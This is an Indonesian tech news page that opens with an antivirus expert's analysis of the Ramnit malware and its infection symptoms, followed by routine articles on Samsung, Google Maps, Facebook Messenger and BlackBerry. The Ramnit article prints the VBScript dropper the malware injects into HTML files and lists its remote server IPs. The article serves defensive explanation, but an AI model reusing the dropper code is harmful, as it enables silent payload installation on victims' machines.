Ramnit Bikin Rumit, Ini Ciri PC Anda Telah Terinfeksi

Jakarta - Ramnit sejatinya bukan malware baru, namun karena kemampuan amfibinya , ia masih tetap eksis di jagat program jahat hingga saat ini. Lantas seperti apa ciri-ciri komputer yang terifeksi Ramnit?

-. Muncul pop-up iklan, pornografi atau perjudian

Dalam beberapa waktu tertentu, browser akan membuka pop-up iklan atau pop-up yang berisi konten pornografi atau perjudian (kasino). Hal ini yang terkadang membuat pengguna komputer menjadi tidak nyaman. (lihat gambar 1)

Gambar 1, Pop-up iklan yang dijalankan W32/Ramnit

-. Icon Removable media (USB Flashdisk) berubah menjadi icon folder

Gambar 2, Icon USB Flash yang diubah W32/Ramnit

-. User tidak dapat mengakses USB Flash dengan menampilkan pesan 'Access is denied'.

Gambar 3, Blok akses USB Flash

-. Muncul pesan 'Compressed (zipped) Folders' pada saat mengakses Flash disk.

Gambar 4, Pesan error saat akses USB Flash

-. Muncul banyak file dengan nama file 'Copy of Shortcut to (1).lnk' sampai dengan 'Copy of Shortcut to (4).lnk' di USB Flash.

Gambar 5, File virus yang di drop oleh virus di USB Flash

-. Salah satu hal yang unik dan membuat virus ini sangat mudah aktif dan sulit dibasmi adalah setiap kali user melakukan klik kanan, selain menampilkan menu klik kanan, secara tidak langsung pengguna komputer juga menjalankan virus ini.

Selain gejala yang kasat mata, Ramnit akan melakukan aksi berbahaya baik yang terlihat maupun tidak terlihat, namun akibatnya sangat terasa dan berbahaya untuk korbannya.

Sebab selain mencuri data dari komputer korban, Ramnit juga melakukan pengunduhan malware lain yang tidak kalah berbahaya seperti Sality, Wapomi, Viking, Renosator, PWSTool, Alman, Kolab dan banyak malware berbahaya lainnya.

Berikut aksi Ramnit yang terkadang tidak kasat mata namun berbahaya:

>. Muncul script error setelah pop-up iklan

Setelah pop-up iklan yang muncul, maka akan muncul pop-up error atau script error dari browser. Munculnya script error ini mirip seperti virus 'ARP Spoofing' pada tahun 2008.

Gambar 6, Pop-up error atau script error

>. Injeksi file .exe, .dll

Sama seperti varian malware Sality, Alman dan Virut, W32/Ramnit melakukan injeksi file exe. Hanya saja, W32/Ramnit juga melakukan injeksi terhadap file DLL (dynamic load library).

File exe dan dll yang diinjeksi akan bertambah sekitar antara 100-120 kb, tergantung varian Ramnit yang menginfeksi. Meskipun begitu, tidak semua file .exe dan .dll di drive C: yang diinjeksi.

>. Injeksi file HTM / HTML

Selain menginjeksi file .exe dan .dll, W32/Ramnit juga melakukan injeksi terhadap file HTM dan HTML. Injeksi dilakukan dengan menambahkan pada header dan footer.

Pada header, W32/Ramnit menambahkan script: DropFileName = 'svchost.exe'

Gambar 7, Script yang ditambahkan pada header file HTML

>. Sedangkan pada footer, W32/Ramnit menambahkan script:

Set FSO = CreateObject ("Scripting.FileSystemObject")

DropPath = FSO.GetSpecialFolder(2) & '\" DropFileName

If FSO.FileExists(DropPath)=False Then

Set fileobj = FSO.CreateTextFile(DropPath, True)

For i = 1 To Len(WriteData) Step2

Fileobj.write chr (CLng("&H" & Mid(WriteData, i,2)))

Next

Fileobj.close

End If

Set WSHshell = CreateObject ("Wscript.shell")

WSHshell.Run DropPath, 0

Gambar 8, Script yang ditambahkan pada footer file HTML

>. Membuat fungsi services Windows menjadi blank

Dengan aksi melakukan injeksi file pada file "iexplore.exe" dan file "services.exe", serta menambahkan script pada file web (htm/html) membuat fungsi dari services Windows menjadi blank.

Gambar 9, Fungsi Services Windows menjadi blank

>. Membuat komputer hang/lambat dan bahkan koneksi jaringan menjadi terputus. Beberapa gejala yang terjadi dan penyebabnya dapat dijelaskan sebagai berikut berdasarkan jenis file yang diinjeksi Ramnit:

C:\WINDOWS\system32\svchost.exe, “svchost.ece” adalah file sistem yang berhubungan dengan koneksi jaringan. Akibatnya jaringan komputer akan terputus ketika file ini di injeksi.

C:\WINDOWS\system32\lsass.exe, “lsass.exe” adalah file sistem yang berhubungan dengan aktivitas komputer. Akibat injeksi ini, sistem komputer akan menjadi lambat / hang.

C:\WINDOWS\system32\services.exe, “services.exe” adalah file sistem yang berhubungan dengan services dan driver yang berjalan. Akibat injeksi ini akan menyebabkan gangguan pada servis dan driver yang di injeksi.

C:\Program Files\Internet Explorer\iexplore.exe, “iexplore.exe” adalah file browser Internet Explorer dari Microsoft. Tujuan injeksi ini adalah agar browser bisa dikontrol untuk melakukan koneksi ke remote server yang telah ditentukan oleh Ramnit sebelumnya.

>. Aktif pada proses memori

Seperti diutarakan di atas, setelah berhasil menguasai Internet Explorer, W32/Ramnit mencoba melakukan koneksi ke Remote Server menggunakan Internet Explorer yang telah di injeksi. Hal ini bisa kita lihat pada proses task manager, walaupun kita tidak sedang membuka IE / Internet Explorer (lihat gambar 10)

Gambar 10, Proses IEXPLORE.EXE (Internet Explorer) yang telah di-injeksi oleh W32/Ramnit

>. Melakukan koneksi ke Remote Server

Malware W32/Ramnit melakukan koneksi ke Remote Server untuk melakukan pengiriman informasi yang dibutuhkan pada Remote Server. Remote Server yang digunakan yaitu di antaranya:

195.2.252.247

195.2.252.252

69.50.193.157

74.125.227.17

74.125.227.18

74.125.227.20

95.211.127.69

>. Melakukan transfer data ke Remote Server

Selain mencoba melakukan koneksi dan berkomunikasi dengan remote server, W32/Ramnit juga mencoba melakukan transfer data dari komputer korban ke Remote Server dan sebaliknya mengirim file malware ke dalam komputer korban.

Gambar 11, Transfer data antara komputer korban dengan Remote Server

>. Melakukan broadcast

Sama seperti halnya worm Conficker, W32/Ramnit juga melakukan broadacast pada jaringan. Yang berbeda adalah untuk W32/Ramnit hanya melakukan pada satu alamat yaitu: ADX.ADNXS.COM.

Gambar 12, Broadcast yang dilakukan oleh W32/Ramnit

*) Penulis, Alfons Tanujaya adalah seorang praktisi antivirus dan keamanan internet. Ia bisa dihubungi melalui email info@vaksin.com.

(ash/ash)

readmore »»  

Dominasi Samsung di Android Bikin Google Tak Berdaya?

Jakarta - Riset dari Strategy Analytics menyebutkan bahwa Samsung meraup 95% profit yang dihasilkan indutsri smartphone Android. Dominasi Samsung dinilai bisa membuat mereka memonopoli perkembangannya dibandingkan Google selaku pemilik Android.

Ke depan, Samsung dapat menggunakan kekuasaannya untuk menentukan pengembangan Android. Vendor yang lain bisa semakin kelabakan karena di samping hanya meraih profit kecil, juga mungkin merasa dianaktirikan dalam mengadopsi Android.

"Samsung saat ini adalah raja industri smartphone Android global. Kami yakin Samsung meraih profit lebih banyak dari Android ketimbang Google sendiri," ucap Neil Mawston, direktur Strategy Analytics.

"Samsung punya kekuasaan pasar yang kuat dan mungkin menggunakan posisinya ini untuk mempengaruhi masa depan ekosistem Android. Contohnya, Samsung bisa meminta update eksklusif terbaru lebih dulu dibandingkan rival," jelas Mawston.

Google beberapa kali digosipkan tidak senang dengan dominasi Samsung di Android. Sebab, Google ingin semua vendor dapat menikmati keuntungan dengan memakai OS berlogo robot hijau tersebut. Namun tampaknya kerja sama mereka masih cukup erat saat ini.

Terbukti dalam perhelatan developer Google I/0, Google merilis Galaxy S4 versi mereka yang OS-nya murni Android, tidak ada kustomisasi interface dari Samsung. Demikian seperti dikutip detikINET dari V3, Kamis (16/5/2013).

(fyk/ash)

readmore »»  

10 Produsen Ponsel Terbesar Dunia

Biro riset Gartner baru saja merilis daftar vendor ponsel terbesar di dunia. Siapa saja yang berhasil masuk dalam jajaran 10 besar?

Riset Gartner menggabungkan penjualan feature phone dan smartphone di kuartal I 2013. Secara total, sebanyak 426 juta unit ponsel terjual dalam kuartal tersebut.

Dari jumlah itu, 210 juta unit di antaranya adalah smartphone dan sisanya jenis feature phone. Vendor apa saja yang duduk di posisi 10 besar? Berikut daftarnya.

readmore »»  

New Google Maps Makin Mantap

Layanan peta digital Google pastinya telah membantu banyak pengguna. Tak cukup sampai di situ, lewat event Google I/O, raksasa internet ini pun memamerkan New Google Maps yang telah dipercantik dengan sejumlah improvisasi.

Diklaim lebih baik dari generasi sebelumnya, New Google Maps kini memiliki kemampuan untuk mengenali kebiasaan pengguna. Fitur Satellite View yang hadir dalam tampak tiga dimensi (3D) membuatnya semakin canggih dan menarik.

Penasaran apa saja improvisasi yang dihadirkan generasi terbaru Google Maps, simak ulasannya.

readmore »»  

Riset: 95% Keuntungan Ponsel Android Diraup Samsung

Jakarta - Samsung meraup 95% dari total keuntungan yang dihasilkan industri smartphone Android di kuartal I 2013. Demikian disebutkan dalam studi oleh biro riset Strategy Analytics.

Menurut Strategy Analytics, Samsung menghasilkan profit sekitar USD 5 miliar di kuartal I 2013. Berada di belakangnya adalah LG dengan jarak terpaut jauh, di mana vendor asal Korea Selatan ini hanya meraih persentase keuntungan 2,5%.

Adapun sisa profit yang cukup kecil diperebutkan oleh vendor Android yang lain. Kesuksesan Samsung sendiri didukung oleh beberapa faktor.

"Rantai distribusi yang efisien, produk yang baik dan marketing adalah pemicu utama profitabilitas Samsung," sebut Woody Oh, analis senior Strategy Analytics yang detikINET kutip dari V3, Kamis (16/5/2013).

Kedatangan flagship terbaru, Galaxy S4, diprediksi membuat Samsung masih berkibar tahun ini. Di mana mereka menargetkan penjualan 10 juta unit S4 di bulan pertama pemasarannya.

(fyk/ash)

readmore »»  

Facebook Messenger Ingin Sempurna di Mata Pengguna

Jakarta - Permintaan sebagian besar orang di pangsa pasar messenger tak bisa dipungkiri adalah layanan komunikasi yang baik. Untuk itu, Facebook berupaya mendekati pengguna untuk memahami apa saja yang mereka inginkan ketika berkomunikasi.

"Teknologi mobile memang sudah lama ada, tapi ada yang masih menggunakan teknologi lama jadi mungkin tidak bisa mewujudkan komunikasi seperti yang diharapkan," kata Peter Deng, Director Management Facebook dalam wawancara melalui telepon.

"Ke depannya, orang akan fokus memastikan koneksi yang tercipta sesuai dengan yang diinginkan banyak orang," tambahnya.

Dikatakannya, saat ini yang menjadi target tim Facebook Messenger adalah membuat komunikasi yang sempurna bagi semua orang. Untuk itu, Peter dan timnya berupaya mengakomodasi kebutuhan setiap orang yang berbeda-beda.

"Karena ada orang yang lebih sering suka menggunakan Facebook Messenger dibandingkan fitur lainnya. Yang lain ada juga yang lebih suka chatting di Facebook web. Facebook tidak membedakan pengguna, kami memastikan orang bisa berkomunikasi lebih baik baik itu di Android, iOS, web atau platform lain," jelasnya.

Facebook juga menurutnya ingin memastikan bahwa ketika pengguna berbagi pesan, mereka bisa menjadi lebih ekspresif. Aktivitas komunikasi pun jadi lebih menyenangkan melalui fitur-fitur seperti sticker, grup dan lain-lain.

Aaron Goldsmid, Product Manager on Stickers Facebook menambahkan, ini dilakukan Facebook karena ada kalanya sebuah pesan lebih bagus dibagi ke publik, namun ada juga yang dibagi secara privat.

"Jadi ketika pengguna tidak mau membagi di publik, mereka punya pilihan untuk membuatnya menjadi privat," simpulnya.

(rns/ash)

readmore »»  

Akhir Juni, BlackBerry Q10 Dilepas Rp 7,5 Juta

Orlando - Sebelum versi ekonomis BlackBerry 10 dalam seri Q5 meluncur di Indonesia pada Agustus mendatang, operator yang menjadi mitra BlackBerry telah mengkonfirmasi akan lebih dulu merilis versi yang lebih premium akhir Juni ini.

Salah satunya Indosat yang baru saja menemui para petinggi BlackBerry di Orlando, AS. Operator yang telah bermitra dengan BlackBerry sejak 2004 lalu ini tengah bersiap merilis BlackBerry Q10.

"BlackBerry Q10 akan kami luncurkan akhir Juni ini. Sedikit telat karena terhambat aturan baru soal impor ponsel," kata CEO & President Director Indosat Alexander Rusli saat ditemui usai menjadi pembicara di acara BlackBerry Live 2013 di Orlando, AS.

Soal harga, Alex yang telah menggunakan Q10 versi beta tester juga bilang bahwa harganya akan berkisar Rp 7,5 juta hingga Rp 7 juta. Tak jauh beda dengan harga BlackBerry Q10 yang telah lebih dulu dikomersialkan di Inggris dan Kanada.

BlackBerry Q10 sendiri hampir mirip dengan BlackBerry Q5 yang sama-sama memadukan kapabilitas layar sentuh dengan keyboard Qwerty khas BlackBerry. Namun bedanya, Q10 menyasar kelas atas dengan harga premium, sementara Q5 ditargetkan untuk pasar menengah di negara berkembang.

CEO BlackBerry Thorsten Heins sendiri mengaku optimistis bahwa Q10 akan jauh lebih sukses penjualannya jika dibandingkan Z10. Apalagi Q10 yang menggunakan Qwerty fisik merupakan DNA dari BlackBerry itu sendiri.

Sementara dari sisi konektivitas, Q10 sudah sedikit lebih maju dibandingkan Z10 yang hanya menunjang koneksi maksimal 3G HSPA+. Pihak BlackBerry sendiri memastikan, Q10 yang akan diluncurkan di Indonesia akhir Juni nanti sudah mengusung konektivitas 4G LTE.

Baca juga:

-. Lebih Intim dengan 'Si Hybrid' BlackBerry Q10

-. Z10, Ponsel Pertaruhan Nasib BlackBerry

-. FotoINET: Seluk Beluk BlackBerry Q10

(rou/ash)

readmore »»